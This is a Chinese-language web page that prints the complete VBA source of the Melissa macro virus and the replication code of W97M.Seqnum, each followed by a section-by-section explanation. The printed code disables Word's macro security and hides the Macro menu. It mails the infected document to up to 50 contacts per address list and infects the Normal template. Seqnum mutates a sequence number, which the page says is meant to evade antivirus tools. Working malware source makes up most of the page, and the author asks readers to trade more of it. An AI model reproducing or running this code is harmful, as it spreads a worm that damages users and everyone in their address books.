病毒源码及分析

 

 

美丽莎(Melissa)源码及分析

下面是美丽莎的源码:


Part 1

Private Sub Document_Open()

On Error Resume Next

If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then

CommandBars("Macro").Controls("Security...").Enabled = False

System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&

Else

CommandBars("Tools").Controls("Macro").Enabled = False

Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)

End If

Part 2

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice

Set UngaDasOutlook = CreateObject("Outlook.Application")

Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")

If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then

If UngaDasOutlook = "Outlook" Then

DasMapiName.Logon "profile", "password"

For y = 1 To DasMapiName.AddressLists.Count

Set AddyBook = DasMapiName.AddressLists(y)

x = 1

Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)

For oo = 1 To AddyBook.AddressEntries.Count

Peep = AddyBook.AddressEntries(x)

BreakUmOffASlice.Recipients.Add Peep

x = x + 1

If x > 50 Then oo = AddyBook.AddressEntries.Count

Next oo

BreakUmOffASlice.Subject = "Important Message From " & Application.UserName

BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"

BreakUmOffASlice.Attachments.Add ActiveDocument.FullName

BreakUmOffASlice.Send

Peep = ""

Next y

DasMapiName.Logoff

End If

System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"

End If

Part 3

Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)

Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)

NTCL = NTI1.CodeModule.CountOfLines

ADCL = ADI1.CodeModule.CountOfLines

BGN = 2

If ADI1.Name <> "Melissa" Then

If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL

Set ToInfect = ADI1

ADI1.Name = "Melissa"

DoAD = True

End If

If NTI1.Name <> "Melissa" Then

If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL

Set ToInfect = NTI1

NTI1.Name = "Melissa"

DoNT = True

End If

If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then

Do While ADI1.CodeModule.Lines(1, 1) = ""

ADI1.CodeModule.DeleteLines 1

Loop

ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")

Do While ADI1.CodeModule.Lines(BGN, 1) <> ""

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)

BGN = BGN + 1

Loop

End If

If DoAD = True Then

Do While NTI1.CodeModule.Lines(1, 1) = ""

NTI1.CodeModule.DeleteLines 1

Loop

ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")

Do While NTI1.CodeModule.Lines(BGN, 1) <> ""

ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)

BGN = BGN + 1

Loop

End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then

ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then

ActiveDocument.Saved = True

End If

Part 4

'WORD/Melissa written by Kwyjibo

'Works in both Word 2000 and Word 97

'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!

'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters.Game 's over. I'm outta here."

End Sub


郑重声明

上述源代码和下面的分析均为大家学习之用,任何有心编写恶意病毒的人将无权阅读,并请马上离开

有充分理由不编写病毒:

怎么样,屈服了吧。相信也搞定了,下面鼓起勇气来看看那个可怜虫是怎么写出这个“美丽莎”的吧。

Part 1

先利用System.PrivateProfileString命令来读Windows Registry。若发觉是Word2000就吧Security设为最低,若不是就把Word的“转化确认”、“病毒保护”和“模板存储确认”三个选项(option)设置成OFF。另外在这里做的一件是就是把菜单项Tools->Macro Disable。这样你就无法看到他的代码了。够毒的吧。

Part 2

这部分是美丽莎的Payload主体。先判断你是否已被感染,若无则将一个写有主题为“Important Information From Yourname”和附有本Word文档的电子邮件发送给你地址簿上的前50个人,并在你的Windows Registry里做上标记以示已被感染;若已被感染,则啥事也不干。在这里病毒编写者利用了Mircosoft Outlook的NameSpace对象,其Data Source是MAPI。对于Word97,关于Outlook的NameSpace对象的描述可以参照Mircosoft Outlook Vistual Basic Reference。它是一个帮助文件(vbaoutl.hlp),我有,但不知免费下载是否合法,所以感兴趣的朋友请去Mircosoft的网站或你购买的Office CD中去寻找。

Part 3

第三部分相对难懂一点(实际上也很简单),它是美丽莎的代码复制部分。总的构思是:根据情况对Active Document或Normal Template进行感染。首先什么是Active Document,如果你不知道我只好无话可说,先回去看看VBA For Word的帮助吧。其实很简单,Active Document就是你编辑的文档啦。其次Normal Template就是Word所用的模板文件。由于若被美丽莎感染(无论是你的模板或文件),它们的名字就会被改为Melissa,利用这个情况美丽莎就可以判断出是你的模板,还是你的文档,或者两者都被感染。如果两者都被感染,它将啥都不做。否则若模板被感染,就利用模板来感染文档;若文档被感染,就利用文档来感染模板。最终达到感染你的电脑的目的。
看到这里,你若是有恍然大悟的感觉,那么我的目的就达到了。你若是对Word的对象结构不甚熟悉的话,可能看的一头雾水,(没关系,权当免费洗桑拿),那你就得回去看看VBA for Word之中的Object Hierarchy章节。

Part 4

最后一部分很无聊,一般是自以为很酷的人才会去做的事。所以我又无话可说了。

怎么样,很简单吧!不过我上面说过了,不许做坏事哦!一定记住!

W97M.Seqnum的源码

下面提供Seqnum源码的复制部分,其它部分甚无聊。


Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
CHL = NTI1.Properties.Item("ConsecutiveHyphensLimit").Value
If CHL > 800 Then
If ((CHL / 1000 + (CHL / 10 Mod 100)) Mod 10) = ((CHL / 100 Mod 10) + CHL Mod 10) Then GoTo Caught
Else
seqNum = 3519
hnetPath = Application.Path
hnetName = hnetPath & "\" & CStr(seqNum) & ".bas"
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
ADCL = ADI1.CodeModule.CountOfLines
moduleName = ADI1.Name
Open hnetName For Output Lock Read Write As #1
firstLine = "Attribute VB_Name = " & """" & moduleName & """"
Print #1, firstLine
I = 1
Do While ADI1.CodeModule.Lines(I, 1) <> ""
thisLine = ADI1.CodeModule.Lines(I, 1)
If thisLine = "seqNum = " & CStr(seqNum) Then
a = Int(seqNum / 1000): b = Int(seqNum / 100) Mod 10: c = Int(seqNum / 10) Mod 10: d = seqNum Mod 10
e = (a + b) Mod 10: f = (b + c) Mod 10: g = (c + d) Mod 10: h = (d + a) Mod 10
newSeq = e * 1000 + f * 100 + g * 10 + h
Print #1, "seqNum = " & CStr(newSeq)
Else
Print #1, thisLine
End If
I = I + 1
Loop
Close #1
NTI1.Properties.Item("ConsecutiveHyphensLimit").Value = seqNum
NTCL = NTI1.CodeModule.CountOfLines
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
NTI1.CodeModule.InsertLines 1, "Private Sub Document_Close()"
NTI1.CodeModule.InsertLines 2, "Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)"
NTI1.CodeModule.InsertLines 3, "ADCL = ADI1.CodeModule.CountOfLines"
NTI1.CodeModule.InsertLines 4, "If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL"
NTI1.CodeModule.InsertLines 5, "ADI1.CodeModule.AddFromFile (" & """" & hnetName & """" & ")"
NTI1.CodeModule.InsertLines 6, "ActiveDocument.SaveAs FileName:=ActiveDocument.FullName"
NTI1.CodeModule.InsertLines 7, "ActiveDocument.Saved = True"
NTI1.CodeModule.InsertLines 8, "End Sub"
End If


有必要一提的是,它的病毒代码并非一成不变,(在病毒术语上这称为Polymorphic),而是每感染一个新的电脑,它的代码段中包含的一个序列号就会改变。其函数是:
a = Int(seqNum / 1000): b = Int(seqNum / 100) Mod 10: c = Int(seqNum / 10) Mod 10: d = seqNum Mod 10
e = (a + b) Mod 10: f = (b + c) Mod 10: g = (c + d) Mod 10: h = (d + a) Mod 10
newSeq = e * 1000 + f * 100 + g * 10 + h
病毒的作者似乎想利用这种办法逃避某些无能的杀毒工具。


有想法的朋友可以给我写Mail,特别希望结识有各种病毒源码的朋友,大家相互交流,互相进步嘛。

Back to Main bhome.gif (628 bytes)